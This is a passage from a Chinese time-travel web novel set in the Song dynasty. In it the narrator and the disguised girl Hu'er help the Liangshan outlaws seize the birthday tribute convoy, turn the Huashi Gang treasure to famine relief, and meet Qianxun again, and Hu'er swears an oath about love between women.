“如果,不是将你扣留在城楼上,我想,她根本没有理由出现。她已经不再是孽蜂了”我轻轻的说, “我是共犯,我也该死……”郑鑫含泪呢喃。 其实郑鑫就是我这个计划得以实施的赌注,从他夜袭我们开始,我就感到他和这案子有隐秘的关系。正如他所说的,一边想着终结一切,为百姓讨个公道。一边又是为了自己犯错的爱人,年轻有为的他,已经不懂得如何面对。所以在看出我们一行人家世背景不凡之后就夜袭瑚儿,以此挑起我们对此案的注意。帮他下决心。 “事已至此,都是我们该承担的”郑鑫站了起来,走到我们中间,“今晚,我还想见他最后一面,众位帮忙帮到底,此后一切有待你们照应了”说完向我们一拜。 三日后,州府牢里押出了孽蜂,沿途的街道两边聚满人,像他丢着东西,烂菜等等,将原本披头散发的孽蜂弄得更加不堪。待到菜市口邢台上时,人们更是围着叫骂一片,罪犯滔天的孽蜂谁也救不了的。 午时三刻到了,我们也在围观的人群之中,当催命鼓声停息的那一刻,刽子手,手起刀落,孽蜂那颗有着凌乱发的头颅,像随风飘逝的蒲公英,轻轻的飞起,掉落在一块空地上。 整个过程,瑚儿都紧紧的抓着我的手臂,我们虽然同情,但是却没有办法让他逍遥法外,毕竟有的女子甚至因为被侮辱已经自尽了,他背负的不再单单是罪而是鲜血。 渐渐的人群都散去了,我们联系了官兵,不然大家会侮辱他的尸体的,我们唯一可以做的就是在他死后让一切都平息了,慢慢从人们的记忆里淡去。 远方一个步态凌乱的单薄的身影走近了,以为面色苍白的女子,轻轻的抱起了那颗头颅,虽然距离不近但是我依然可以看到她的手的颤抖。我们一起上前,帮她将身首异处的孽蜂和自尽的郑鑫安葬在一个很偏僻的山里,没有墓碑。。。。。。 我们要走了,这时的州镇里,百姓生活安乐。大家都为,年轻爱民的郑大人的不幸病逝而悼念,同时祈祷下一个好州官的到来。 傍晚时分,瑚儿一个人坐在江边,若有所思的盯着江中的金色日轮。我轻轻的走过去,用石子将水中日震碎。“夕阳无限好,只是近黄昏”我叹道。瑚儿,回头看了我一眼。眉头还是微微蹙着。见她不理我,我便拿起笛子,吹了《重逢》这只曲子。我会吹笛子,你们不知道吧。这也许是我还稍微有点像谦月的地方,我在芊寻给我的行李中发现了它。其实,我会吹的曲子不多,我根本没有特意学过,而且,我天生吹笛子就是反手的,这样看起来虽然奇怪,但是也没有办法改变。 “这是什么曲子,这样凄婉”瑚儿轻轻的问。 “是重逢,梁祝里的,我昨晚讲给你听的故事”我停了一会就继续吹奏。瑚儿,还在疑惑吗,昨晚,她问我,人为什么会喜欢上同样性别的人,历史上有断袖的人她是知道的,但是从没想过会在现实中遇到。本来以为自己会很讨厌,但是真的看来他们却爱得那样深,却又那样布满心血,那样艰辛。 这可问住了我,我想起了芊寻,她和谦月。“这种事,谁知道呢?”我笑着说,但是笑的无法自然,“也许是经历,她们(他们)一路艰辛,却是找到了此生唯一” “所以,他们也很幸福,是吗”瑚儿突然这一句,让我的语言更加被塞住了。我很佩服芊寻对谦月的爱。但是,我还是无法理解,接受同性间的情感。 我想如果,郑鑫和茗蕙,谦月芊寻,或是所有为此苦恼的人,能像梁山伯与祝英台那样就好了。至少还可以化为世人歌颂的蝴蝶。但是还有什么人有那样的运气呢,自己喜欢的同性朋友,居然是乔装改扮,这样,至少世俗是接受他们的爱的。 此时,江面十分平静,在夕阳的余晖下,真是半江清澈半江红。瑚儿静静地看着,听着。 笛声飘远了,不知它是否也可以飘到,那座“清净堂”里。赢了比赛的我们,把钱全用来买房置地了,因为那该死的时代。女人没有好姻缘就会一生凄苦。所以,我主张建了这个地方,将那些被孽蜂所害的被遗弃的女子,聚集在一起,大家可以相互帮忙耕作,做些女红,这样就可以自己养活自己了。当然,其他的妇女也可以进来,像是寡妇,弃妇,总之,只要是没有所养的女子都可以来。而且,一旦有一天,有人愿意再娶他们,也随时可以离开。 作为女人,我能想到的也只有这些了。 堂里,最照顾大家的堂主,是位名叫兰儿的姑娘,是郑大人的遗霜,未来她也会找到自己生活的意义吧! 曲子吹完了,我们也该走了。 对了,说说鲁智深,我在打听了林冲的情况后,我记得他快到野猪林了,所以让鲁智深赶去救他。历史上的一切似乎按着它原有的轨迹运转着,我和它有着似有若无的关系。 鲁智深和瑚儿关系算是最好的了,他喜欢瑚儿的天真可爱。瑚儿也是想向他学几招刚猛的功夫呢。嘿嘿,要不是他忙着救人,应该会和瑚儿玩上一阵子。 还有那个冠军大叔,他原来是神行太保-戴宗。原本有公事在身,途径此处听说比脚力,一时技痒就加入了。因为无心与人相争,所以根本没有报名领丝带。最后,见我们把钱用来建了清净堂,他也很是赞同。 真没想到,我来到宋代以后,竟和梁山好汉多次相遇。而且,这只是我和瑚儿同梁山的缘分的开始,我们现在还不知道,此后的日子里,梁山会和我们结下难解的缘分。 是时候离开了,我取出地图看了看,继续向南行吧。瑚儿像是懂了些事,倒也不再追问我关于断袖的事了。 还有几个地方要去,但是顺序得由她定了,因为,母亲给她的保镖银,已经被我花光了。还好她“讲义气”,接下来是她白养我了,我得全全听她的。至于她和天如意的赌局嘛,好像被她赖成了五局三胜制。不管怎么说,天如意是死死地跟定我们了。 天色晚了,不可多留了。踏上马车,我们一路向南。 一路上,除了天如意和瑚儿的打闹,一切都挺平静的。 突然,一声巨响,我们的车被撞得几乎倾倒了。。。。。。。 34、纲纪已倾 车中的我们不觉失去了重心,相撞在一起。恰好,瑚儿倒在我的怀中。而我背部撞在车窗上的同时,接住了她。也就这眨眼工夫车子恢复平衡,天如意从冷岩的臂膀离开就扑过来,全方位立体式的抢似的抱过瑚儿,“官人,你还好吧?” 忽听外面叫着“是哪个不长眼的兔崽子,挡了大爷门的路,瞪大你的狗眼,看看我们的旗上写的字,‘蔡’你认识吗?我们是为当朝蔡太师运生辰纲的车队,你敢当道,看老子打不死你。”“哎呦!”是我们的车夫在叫。 “我没事,不要大惊小怪了,快去看看外面吧”说着,瑚儿从天如意怀里挣脱出来。 天如意自是不爽,无可宣泄,索性跳下车子,狂啸起来,“撞了你爷爷的马车,还敢伤人!小子们活腻了” 车内的我们伸出头时,只见得两名小工打扮的男人,躺在地上抱着肚子一边喊疼一边打滚。其他的人畏惧不敢前进。天如意笑着站在车前,正了正头巾。 “不知是哪路好汉,可否为杨某行个方便。运送这生辰纲,是在下的职责所在,不敢耽误,请诸位多多包涵,来日杨某必定亲自上门谢罪”说话的是一位高大的中年壮士,脸上有着一大块青色胎记,不可算是英俊。 我从没见过这等情况,看对方的样子是官差,那就多一事不如少一事了。我看看我的当家人瑚儿,只见她非常平静。向冷语递了个眼神,随即优雅的笑了笑。难得像个小大人似地。 冷语上前,“既是意外,那么杨大人不必介怀,职责要紧,请尽快赶路吧。”哇,很官方的回答嘛。那一行人片刻也不再耽误了,忙着赶路。 我们呢,看着他们离去的背影,再看看天已经快到中午了,日头正热。索性在附近的茶寮休息一下。一进去,瑚儿吩咐说:“上点开水就好了,茶钱照付。”原来,瑚儿喝不惯这些茶,与其呕吐,不如喝水好了。其实,我倒是品不出什么区别。“这茶,还可以吧,只是解渴的,不用太过苛刻了”瑚儿张着大眼睛,说“怎么没有区别,既然是品茶,那么茶为一,水为二,这二者的层次缺一不可,不然,还不如喝水呢。” “公子,原来是大行家呀,本店店小简陋,对不住各位了客官了,水上来了,请客官慢用。”我们本还是聚精会神的听着瑚儿的介绍,被小二一打断,就各自捧起碗饮水了。 “曹大哥,如果有兴趣,改日我在为你细细的讲讲茶,还有,日后有机会,我亲自与你泡茶品茗。好不好?”瑚儿喝了口水,继续饶有兴致的说。 “官人,这些事日后交给奴家就好了。”呵呵,这话自是,天如意抢白的。 歇息了一会,我好奇刚才的一行人。就和大家聊了起来,“生辰纲什么的,重要吗?名贵吗?” “这个嘛,所谓生辰纲,本来该是船运的,一纲为十大船,不知为什么,他们走了陆路。至于名贵与否,只怕是寻常百姓难以想象的,几十,甚至是几百箱珍奇异宝。运送的路上可以说是,危险重重,气氛紧张得很,所以,他们自然过分了些”冷语娓娓道来。 “只是这些钱财,怕是让老百姓够受的了。”我们都心知肚明。 “早知道,就该为难为难那些官差了”我气闷到他们都不是好东西。 “没办法,那个菜老头是个小心眼,凡事都比较爱挑理,帮他办事办好了,他都要猜忌半天,哎,帮他还不如去死。算是同情他们,咱们就多多给他们些方便吧”瑚儿,一边托着下巴,一边正色的说。蔡老头怕是太师蔡京。 “小兄弟所言极是,大奸大恶的正是那些当大官的。姓梁的为了他岳父的生日,大肆搜刮民脂民膏,现下,各地灾情不断,不是大旱,就是水患,民不聊生,这些当官的却个个只为了添自己的口袋,视百姓为蝼蚁。朝廷也是,不想着好好赈灾,今儿要花石纲,明儿要茶纲,老百姓都榨干了。大哥,这是不义之财,取之何妨。。。大哥”搭话的是旁边桌子的一行人,开始没注意到,原来对方再次议事多时了。说话的人还没讲完,就被旁边的人,握住手,示意不能再乱言。但是,最后的两句却已道出了他们的秘密。这个,真让人尴尬,我们该快溜才是吧,不然他们杀人灭口怎么办。 正当我们不知如何是好时。那个少言的汉子,倒是主动走过来了。“在下,姓晁,不知诸位怎么称呼,可否交个朋友?” “不敢当,我们还要赶路,不敢耽误几位英雄的正事。告辞”冷岩,依然冰冷着脸,说完便示意冷语扶瑚儿离开。 “且慢,看不起我们吗。我们虽都是粗人,但是,却是真的想为百姓做点什么。诸位英雄少年,何不也为出一把力。”先前说漏嘴的那个人也走了过来,看来是想拉我们入伙,这样就可以免去后顾之忧了。 “上赶子不成买卖,二位放心,我们不会多半句嘴。”冷岩已经抱拳告辞了,“再者,我家公子家教甚严,出身名门,决计不敢做出此等有碍门楣的事。请诸位放我们一马。” 随即一声口哨响起,周围突然出现了很多人,“不好”我心中暗道。 “怎么招,还想逼人造反呀。你们不要仗着人多,我天如意可不是吃素的。”天如意已经拉开阵势,要动手了。我们环视周围的人,虽本该是壮汉,但是都饿得精瘦,衣装褴褛。难道是穷山恶水出刁民,这些人饿疯了,要杀人不成。 但是,出乎意料的是,他们平静的走过来,走到我们跟前,索性席地而坐,开始讲起了流浪史。 原来,近年来,天灾不断,大片农田荒芜,百姓为求生计离乡的离乡,要饭的要饭。本也可活,但是官兵,处处欺压,掠夺。皇上只当是太平盛世,天天玩乐,下面的官吏投其所好,处处收集奇花异石,其实是堂而皇之的中饱私囊。百姓还为皇帝抱不平呢。近日,梁中书更是变本加厉。大家,没了办法,才打算替天行道,劫了不义之财,救济百姓。 “好了,别说了,我们还要赶路”天如意说着,拉起瑚儿。瑚儿的脸色很是不好看。刚刚听到那些大官的恶行,她就气得频频以拳击桌子。又听大家说当今圣上无为,她更是气闷万分。活活像个热血青年。 不好了,我想,看她这样子,会不会答应下来,落草为寇。 “苍天无眼,大宋在这样下去,纲纪必乱,大宋早晚。。。。。。。要亡啊” “好了”,瑚儿忽的站起来。“诸位英雄不必多言了。我宋帅,答应便是。大宋的官儿该受点教训了。”瑚儿轻轻拉住天如意的手,把她留住了不可冲动。“但是,劫下生辰纲便可,不可伤任何一人。” “好,宋兄弟果然是当世英雄。在下父公孙,单名一个胜字。我们这就另找个方便处,共商大计。请。。。。” 绕来绕去,来到了一座山中小庙里。瑚儿,一直拉着我,因为,我们虽然跟着她,但是却没有给予任何意见。天如意紧紧的跟着。冷岩依然面无表情,但是,可以看出他心中的矛盾。瑚儿她想要支持吗?可是,这种事怎么赞同。 “皇帝好,皇帝妙,皇帝天天不理朝。花石纲,生辰纲,蔡高合伙乱朝纲,百姓苦,百姓乐,肚里天下皆以荒。明日杀到开封去,。。。。。。。。” 这是沿途百姓在传唱的歌谣之一。刚刚听着那些人的话,加上我们沿途所见所闻,我们都知道,百姓活得有多艰难,这些官吏也确是可恶至极。所以,想置身事外,似乎是不那么容易,至少良心平静不了。 “杨志这人,心思缜密至极,我们虽有用药高手,但是,他始终警觉,我们一次都没有成功过。。。。。。” 没有太用心听他们的话,迷迷糊糊的到了晚上。瑚儿和他们商量好了,大家可以休息了。庙里的厢房也不少,可是还得多人同住,那伙英雄很尊敬瑚儿,给她让了个单间,可是瑚儿却一定要让我和她同屋。从那次州府的同住之后,我们几乎每晚都在一个屋檐下休息。瑚儿以前怕黑,不敢熄灭蜡烛。现在,倒是好了,她习惯了听我讲故事。听着听着,慢慢的就睡着了。起初,不对,应该是至今冷岩冷语都是死命相抵,但是毕竟是瑚儿之意。而且,在我看来瑚儿只是个小孩子,对世俗之礼倒是不在乎。 小屋里,烛火闪烁。我们在两堆干草上卧着。瑚儿,反复翻着身,仔细聆听可以听到她轻轻的咬着指甲的声音。她,在不安吗? 我们从中午起已经有小半天没讲过话了,此时屋里的气氛很是尴尬。好像是,一间屋里挥发着煤气,一点火星划过,就会突然爆炸。 我会支持你的,既然要做了,而且做的又不是坏事,我会帮你的。我曾经给你的诺言,会一直当真。可是,我该怎么说呢。 正想着,还是瑚儿打破了沉默,点燃了那个星火。 “哎,曹大哥,晁盖和公孙胜,关系那么好,还拉手来着,他们是断背的。。。。。。。恋人吗?” 我晕,你怎么憋了这么久就来了这么一句,没头没脑的。好歹讲讲你们的计划呀! 35、纤爱 “就像我们现在这样,”瑚儿转过身拉住我的手,“两个男的,不是断背,还能是什么?” “你这小脑袋里整天想些什么呀!”我用另一支手轻轻的弹了她一个脑瓜崩。我现在有点后悔,天天晚上给她讲故事了。最近她对断背特感兴趣,索性我把李安的《断背山》讲给她了。从那时起,她走到大街上,看到举止亲密的同性就大呼断背,而且有点惊喜的味道。 我苦笑,就是咱俩都不是男的,现在这样也都算是断背了。 “你的计划到底是什么?”我问。 “放火”瑚儿认真的说,“然后。。。。。。。” 我在等着听呢!但是“没了”这句好悬没把我气晕。放火算什么计谋。 瑚儿刷的坐了起来,“我自幼也看了不少兵书,对付敌人最有效的办法就是疲之劳之,自乱其阵脚,然后不战而屈人之兵。嘿嘿,一直没有机会试,现在可以了,哈哈”对着月亮,她倒是很激动。 我在想,这样简单的招数为什么还用她来想,人家不是还有智多星吴用呢吗。说来,我对梁山好汉的认识还真是越来越多。 “为什么非得用火攻,”我也坐起来说,我是学历史的,兵法也看了甚多。声东击西的办法多着呢?火攻不是最好的,但是效果却是上佳。可是我的疑惑是,那些男人会想不到吗? “他们说,总是思前想后,结果杨志也不笨,没上过当,干脆就按我说的,简单就好。其实,我只知道火攻的办法。嘿嘿”瑚儿,如有所思的说,天真至极,也有着些许得意。 也许吧,最简单的办法最有效。“瑚儿,半夜才开始呢,先休息会吧。”我拉着她躺在草堆上。夜里我听她轻轻的叹息,只是苦了这杨志,忠良之后,职责所在,我们这样,怕是害了他了。 一切,都和历史相差无几,只是一向机警的杨志为什么会在青天白日下随意的喝了,白胜下了迷药的酒呢?其实是从昨晚开始,我们就不停地在他们所歇息的地方放火。古代的建筑材料真是太方便了,一点就着。整整一夜,杨志都如同惊弓之鸟,四处奔走,而我们呢也没有露面,更无抢夺之意。所以今天,为了安抚惊魂未定的手下,他终于听了大家的话,中招了。 看着那群好汉将十几车生辰纲运走,瑚儿来到杨志身边,悄悄的将一包东西塞在他怀中,随即转身走了。我本想前去看看,却被吴用早了一步。将纸包取出,打开看了,原来是一幅画,上面画的是树和蝴蝶,见题诗是:庄生晓梦迷蝴蝶!接着吴用便将画塞在自己的怀里。一转身看到了我,笑了笑“这个杨志,是个将才,为了这狗般的贪官卖命不值得。宋公子,想帮他,我却想还是让他它朝为我们所用,所以,曹公子还是带着宋公子速速离去吧。我们会记着你们的恩情,但是恐怕我们不会是志同道合之人。请” 是呀,杨志有自己的命运,他终会落草的。只是,瑚儿的瑰奇只怕吴用早已看出,她的画必然可解杨志之危,但是吴用却不会放弃。再不走只怕我们也会有危险了,罢了,人各有命。 总算,离开了那群好汉,大家对我们还是感谢的。 我们也可以重新回到我们寻师的轨道上去了。可是一波未平一波又起。一路走来,处处饥荒。而那源头不是天灾却是人祸。当今圣上为了自己玩乐,不顾黄河大水,为了从江南运来奇花异石,组织了大船队,名为花石纲。这个阵势,让我不等不叹道,先前的生辰纲真是小巫见大巫。 而且,除了黄河大涝之外,江南等地皆是大旱,运河根本无法通行,所以只好由成千上百的精壮汉子沿途拉纤行进。一路怨声载道。 皇上不顾民生,只顾自己玩乐。船上珍宝无数,路上却处处都有饿死骨。无数的咒骂声涌入我们的耳朵。怪不得他们了,反正会饿死,倒不如被官兵砍死算了,还能少遭点罪。 瑚儿的脸色倒是越来越难看,大家都很知趣的没有打扰。直到官兵冲出来,驱散饥民。瑚儿终于爆发了,上前就打那些蛮横的官吏。冷岩、天如意无奈只得上前助阵,三下五除二,打得他们满地找牙。 在大家的叫好声中,酷似城管的官兵溜之大吉了。瑚儿又看向了,那些拉纤的人,他们因为看这边的热闹而停下了,头头正在用鞭子驱使他们前行。自然,我们还是得管管这是非了。先海扁那头头再说。 纤夫们此时也反抗起来,止住了要对瑚儿不利的长官,毕竟黎明百姓的力量是最大的。此情此景,让我想起了,美国黑奴的独立运动。压迫会点燃暴动。而瑚儿似乎又一次站在了风口浪尖上了。解决这次的官逼民反不是教训教训那些官吏就行的。天下的人正在受着苦,还有灾害,让他们平静必要让他们能衣食有所依靠。 “小人等,全听公子吩咐,我们一起反了吧!我们去京城,让宋公子做皇帝,那样天下就有福了”纤夫势力大,此时以瑚儿马首是瞻。 怎么办呢,我们断然没有造反的意思。可是问题必须解决。 “大胆刁民,竟敢造反,来人把这为头的给我拿下”一个大官模样的人率领着众官兵姗姗来迟。矛盾一触即发,官民一旦冲突,死伤一定不可计数。 瑚儿自知自己闯了大祸,看她焦急的样子。一定懊悔不已。虽然刚才并没有错,但是却激化了百姓隐忍已久的对朝廷的恨意。 冷岩已将剑横于胸前,要带着瑚儿突出重围了。 “瑚儿,你当真想救他们吗,”我浅浅的握住瑚儿的手,那已经有些凉的如玉般的手。这个动作,似乎让冷岩冷语、天如意在意。但是我并没有情爱之意,此刻我只想知道瑚儿怎么想。 “我,想。。。。。我想救,但是。但我”瑚儿,蹙起了眉,我在她眼底看到了泪。 “很多原因,让你不能对抗朝廷是吗?”我低头问她。“那你相信我吗,我们一起想办法,平息这一切,让朝廷不受损害,也让百姓不再受灾难的坑害。你相信我么?”我认真的看着她。 瑚儿的眼被点亮了,她没有说话,只是很认真很认真的点点头。我悄悄的告诉瑚儿,赶快去画画,画那种可以救得了杨志的画,自然也就帮得了我们。 很快,瑚儿就将庄周梦蝶图画好了,我告诉她,一定要让那大官怕你,听你的吩咐,不然那官员定会绊着我们的手脚,日后行事就不容易了。瑚儿一听马上就明白了。她把画交给了他,那人险些没晕倒。因为距离远,我没听见他们的对话。但是那人的确是站的不稳了。 随即,他便带着人撤退了。我和瑚儿登上了大船,看了看那些珍宝。其实值钱的东西占得比重倒是不大,只是那些大的要死的情形花石占地方多。瑚儿从众多的宝物中捡出一副画,是前朝阎立本的画。笑着点点头,转身吩咐冷语给刚才的知府老爷送去,又在她耳边耳语了几句,不在话下。 “好了,曹大哥,我们从何处开始呢?”瑚儿问我。 “先想办法治水吧,平衡这些地方的水量,”我边想边说。 在我生活的时代,对于水灾的地域还是可以的。以输为主,堵为辅。 先将几个缺水的镇县挖好水道,在炸开堤坝,引水。接着把涝地用土石堵起来。这些都是大工程,但是幸好有那群纤夫。他们朴实、勤劳。所以,不出一个月,我们就基本解决了旱涝的问题,连当地的官员都抑制不住脸上的笑容,百姓过得好,他们也就不会过得不好。 至于那些花石纲自然是没可能被运抵京师了。我和瑚儿一商量,把那些巨石炸碎添了河。为了防止水涝引起瘟疫,放火烧了一半的大船------剩下碳撒在水中,这样滤菌作用就有了。还有那些宝物呀,都被我们变卖了,散给了当地百姓。又收购了些粮食。 此时,我们已经犯了杀头的欺君之罪了。身边还有千把人,说我们造反,真是不为过。如果没有瑚儿,也许早死了。她的身份,我不愿去想,但是更加明了了。 解散他们不难。他们有的愿意聚居此地,我们就给他们些钱。但是他们都没有接受。说跟着公子们是做了积德的好事,从此大家都能好好种田了。 我们还得继续前行才行,向南走,把五大船的粮食运到南边去,那里的人还没有解决温饱问题。有些来自南方的纤夫,决定跟着我们回去,一来我们走的是京杭运河,不是汛期,水浅船大,没有他们,我们也许寸步难行。 纤夫,是疲惫的。虽是初夏,但是太阳已经很好的发挥了自己的炽热。烤着他们结实的背脊,汗水不住的滴在泥土上。 可是他们不是寂寞的,因为船上有他们的梦。灾荒,让很多南方人也逃到了北边。她们遇到了我们,有的在纤夫中找到了如意郎君了。她们,一起搭着希望南归。回到家乡,他们会有家有米,有妻子。真是,其乐无比。看到了这些纤夫,我就想起了《纤夫的爱》。他们拉纤,拉着妻子和梦想。她们在船上,为他们缝缝补补,晚上端上热热的饭菜,这也是一种幸福吧。路途遥远,为了不闷,我就将《纤夫的爱》教给他们了。所以,我们的船所经之处,水上飘着,美妙真情的歌: “妹妹你坐船头哥哥在岸上走 恩恩爱爱纤绳荡悠悠 ……………. 小妹妹我坐船头哥哥你在岸上走……” 情真意切,他们对唱着。 谁会想到八百多年前的宋代的江河之上,会响彻着未来的情歌呢?我的时代混乱了。 有时,我会和他们一起拉拉纤。我也在唱,瑚儿在船上也唱。看着船上笑着放声高歌的她。后来,很久以后的后来。我遗憾听不到那时她的心声:就差那一点。 拉纤让我的身体吃不消了。没多久就昏倒了。心口痛的透不过气,失去意识前,我看到了芊寻的身影。 “芊寻”我叫着张开眼。 当我醒来时,瑚儿在床前,面带着难以掩饰的忧郁。我赶快笑着说:“不用担心,我没事了”她却哭了起来,“都是我,一路的惹祸,一直没有让你认真的找师傅,你的伤。曹大哥,我。。。对不起,让你和嫂子还不能团聚,怪我,我” “好了,没事了。我死不了。乖了,瑚儿”我不记得哄了她多久了。总之后来,我们聊了很多,家里的,我们经历的。后来,忘了怎么提起的了,我笑说:“你家人那么了不起,怎么你非得溜出来。有什么你父亲解决不了的。” “我爹爹,是个文人,很是风流。他有很多妻子,很多孩子。但是他最疼我,什么都依我。可是现在年纪大了,就希望我们这些孩子赶快成家。儿孙绕膝。最近呢,他会开一个宴会,那之后,我们就都得被逼和自己不一定喜欢的人成亲了。”瑚儿,站起来,看着外面的月亮,继续道:“我才不要那样,我要” “自己找老婆,”我笑了笑,谁叫你女扮男装呢。我只有当你是男的了。 “对呀,自己找个自己喜欢的人。找个我愿意和她过一辈子的‘老婆’”瑚儿也笑了。 “说说你的标准吧,”我很想听听,究竟在她心中什么样的人才可以走进你的心里,什么样的人才配她。虽然,我知道这些不可能和我有半点关系。但是,我还是莫名的想要知道。 “这个,才学,人品什么的。我也说不出,只是感觉,也许感觉对了,就什么都不在乎了。当然必须要有缘。。。。。嗬嗬嗬”瑚儿歪着头看了看我,随即又看看天棚,想的很认真,至少看起来是这样的,她笑着。 感情这东西的确说不清。但是,对于瑚儿,我只有祝福了。 夜里,我胸口闷得慌,睡不着,那只怀里的紫玉蝴蝶隔着我,我此时就想出去走走。 芊寻,好久不见了,你现在怎么样了。不知为什么,我心疼的时候,芊寻的脸总会浮现在我眼前。我们相处了三天。但是她爱“我”胜过一切。月光下,紫玉好些在血一样的泛着红光。 走着走着,来到瑚儿的休息的船仓前。今晚瑚儿被冷语以不可打扰我休息为名拉走了。没有给她讲故事,不知她睡得好不好。我笑了笑,这个小丫头,虽然总是在闯祸,但是却总给人快乐。她对我的信任,我感受得到,她对我的依赖,让人习惯了身边有她。 突然,仓顶有黑影晃过。我蹲了下来,看清了,竟是天如意和冷岩。因为,他们是高手,所以,我停留在很远的地方。几乎听不见他们的交谈。只是微微能看得出冷岩面色严肃,而天如意却还是在笑。最后隐约中听到了冷岩说:“不要想害他”什么的。 怎么个情况。我一时还不太懂。但是,开来天如意绝非只是想嫁给瑚儿那么简单。但是同游数日,帮了我们不少忙,她究竟是敌是友,一时恐怕还分不清。只有心里提防些了。 最后我还是睡着了。因为,我好累。 终于到江南了,分完了粮食,解散了兄弟们。总算可以放心的找师傅了。这里的风光果然不是古人妄赞的,真是怎一个美字了得。我的心情轻松了起来。对着初夏的江南,我背起了:“江南好, 风景旧曾谙。 日出江花红胜火, 春来江水绿如蓝, 能不忆江南。” “曹大哥来过江南”瑚儿问。 不对呀,我没来过江南,自然忆错了。但是谦月来过,我也算是梦里来过了。 我笑着不语。 瑚儿笑了,“看你开心的,刚刚才下船。舟车劳顿,休息一下我们在同游如何?”说着,她取出了那条珍爱的丝巾-------她母亲留给她的。欲为我擦去额上、脸上的汗。 但是,动作却僵住了。我正觉得奇怪。早已有另一只手用丝绢为我拭去了汗水,及其轻盈,细腻。 我转头看到了丝绢后面那张熟悉的,美丽、温婉的脸。 “芊寻!” 36、月下闲情 笑,芊寻依然在温柔的笑着。 而我却呆呆的不知所措。她,确是“我”心中片刻也放不下的人。但没想到她这么突然地有出现在我的面前,此刻谦月的心脏开始不再平静。而我却语塞起来。。。 气氛一下子沉闷了起来,像这干而闷的天气,美丽的江南似乎被我们忽视了。 “哦,是曹大嫂子来了呀!久仰久仰,。。。。”恐怕只有天如意才笑得如此的真心。 芊寻转过身,对大家说:“月儿一路,承蒙诸位照顾了,芊寻自此谢过了。。。” “嫂。。嫂子言重了,我等受人之托忠人之事,”瑚儿赶忙上前回答,“再者这一路上倒是烦劳曹大哥照顾了”瑚儿一边说着一边朝我们笑笑。 “难得来到江南,不如我们泛舟湖上如何,”天如意跑过来揽住瑚儿的手臂,瑚儿竟然木讷的没有反抗。 湖水平滑如镜,好像那个地方,谦月带我去的地方,让我从此了解他们过往的伤心之地。倏地,心口一阵剧痛。头上不经渗出了汗。 “月儿!”芊寻赶忙为我金针打穴,又用温水演开一颗药丸,服下,终于慢慢的平息了那无来由的疼痛。芊寻欲为我拭去头上的汗水,“芊寻,”我握住了她的手,如同触到了月宫的玉璧一般,冷的有些彻骨,但是死都不能放开。“家里出什么事了吗,为何你突然来了这里,有是怎么找得到我”我喘着粗气,刚刚才平复的我一口气为了她好多问题。 “你的所有,我都感觉的到。”芊寻看着我,手却舍不得离开我温暖的手掌。“你疼痛的时候,我也一样的锥心泣血。。因为我们的心是连着的。。。。”芊寻哽咽的靠在我的肩头,一时,我在也说不出什么了,芊寻的话似答非所问,但情真意切。我们的心是相连的,这解释了我的无名的惆怅,无端的寂寥,甚至于毫无止境牵挂。。。。。。 “官人,奴家好羡慕她们呢,我们也那样恩爱好不好。”天如意赖着瑚儿撒娇,看样子,她真是喜上眉梢,而瑚儿却若有所思的望着湖面。 傍晚时分,华灯初上。江湖上的彩灯花船好像是从水里生出来的一般,居然一下子就占领了整个湖面,热闹不已。舟车劳顿数日,我们每个人都有些倦了,自然是没有心情欣赏着江南繁华无比的夜景了,赶快投了家店休息了。 我和芊寻大概是情侣脸吧,一到柜台,就被老板介绍到了天字一号房。一间也好,我们好聊聊天。其他的我就没再管,赶快和芊寻上了楼。 夜里,街道上呈现出了神似白天的繁华,从窗纸上偷偷撒进来的光把屋里弄得让人无法安睡。“月儿”,芊寻转过身来,“我们上街转转去吧,就咱们两”我们就这样,借着月光去夜市散步了。 果然,发生了不少的事呢,在谦月不在,不是我不在的日子里。大哥在京城里横行,时而上门骚扰,但是芊寻在身上放了药粉,大哥一旦近她半步就会身上起红疹,算是小惩大诫。我们也是无可奈何。但是真正值得开心的是,大娘找到师傅的安身之地了,不再用我们按图寻找了,而且那个州离这里不用三天的路程。芊寻此次到来就是为了娘带信给师傅。还有两个月的期限呢,我是一定有救了。而且,芊寻也特地来到我身边照顾我。嘻嘻一下子好运气都来了。曹谦月不再是倒霉蛋了,我的整个人都轻松了,步子也有些跳跃了起来。拉起芊寻的手,我们浏览着各个摊位,朱钗,绸缎。。。。。。芊寻跟在我的身后,安静的看着我笑。她,总是能让我最安心的存在。但是今天的我却在想,我是不是该在那个时候死掉呢。这样被芊寻一次次的拯救着,可是她救活的我,却不是那个可以相守终生的曹谦月,希望-失望似乎变成了我唯一可以给予她的。可是,她和谦月和我却有着永远的牵绊。。。。。。 回去的路上平静了好多,只有月亮一个光源,走在月亮铺好的路上,我们静静地往客栈走。我的手中拿着两串糖老虎,刚刚想给芊寻买东西,但是她什么也没看中,告诉我,朱钗宝石永远比不上她的那根银簪。是呀,那是太珍贵的回忆了。 也许是我的心情太好了,竟然忘乎所以的买了糖画。糖画在眼前晃过,脑子里就想起了瑚儿。芊寻问怎么喜欢小孩子的东西了,我们有都不吃。“瑚儿喜欢吃呢”我一边说一边付钱,但是手还没有收回来,就觉得不对劲,我和芊寻难得见面,而我怎么能想着瑚儿。芊寻很快的笑我太爱惯孩子了。 就这样,我们往回走了,夜光下我和芊寻还有我们中间的糖老虎,都是沉默的。 芊寻睡下了,我想还是赶快给瑚儿送去比较好,这时代又没有冰箱,时间长就化了。 “你走吧,我不想见到你,不要来烦我”我在瑚儿门口听到她的话。虽然很小声但是却怒气连连。难道她有透视眼吗,我才刚刚到这,就知道是我了,而且我又是哪里得罪她了呢。正要开口问。屋里又传来了另一个人的声音,仔细一听是天如意。“人家好好的一对璧人,你何苦拆散他们呢。你的身边有。。。” “别说了,我对他怎样,你管不着”天如意已经夸我和芊寻登对n次了。我想她除了羡慕之余,更多的是提醒瑚儿,不要成为第三者吧。我到觉得好笑,她如此完美,别说我是个女子,就是男人,也断然配不上她,普天之下又有谁能配得上她呢。 “那我呢,我发誓今生今世爱你,宋帅,你可不可以爱我”天如意问道。 “不可能,”瑚儿郑重的回答道,“因为你是个女人,同为女人的我,不爱你”语气平静但是却足以击倒武艺高强的天如意。她承认了,她是女人。 “我赵瑚儿对天盟誓,如果有一天我爱上女子,就让我孤独一。。” “不要这样,宋帅,也许他朝你会想我一样陷入这无法被回应的苦恋之中,我错了。但是,求求你不要说伤害自己的话。”天如意说道,门外的我可以听出她的心已经碎了。 “好,苦恋是吗。哼哼,我才不会。我发誓,爱上女人孤独终生,如果,我的爱无人回应,死后也永劫不复。”瑚儿斩钉截铁的抢白似的说完了自己的誓言。这样坚决的誓言,听得我有些寒战。你要赌上一辈子的幸福来换取一辈子的幸福吗,瑚儿。 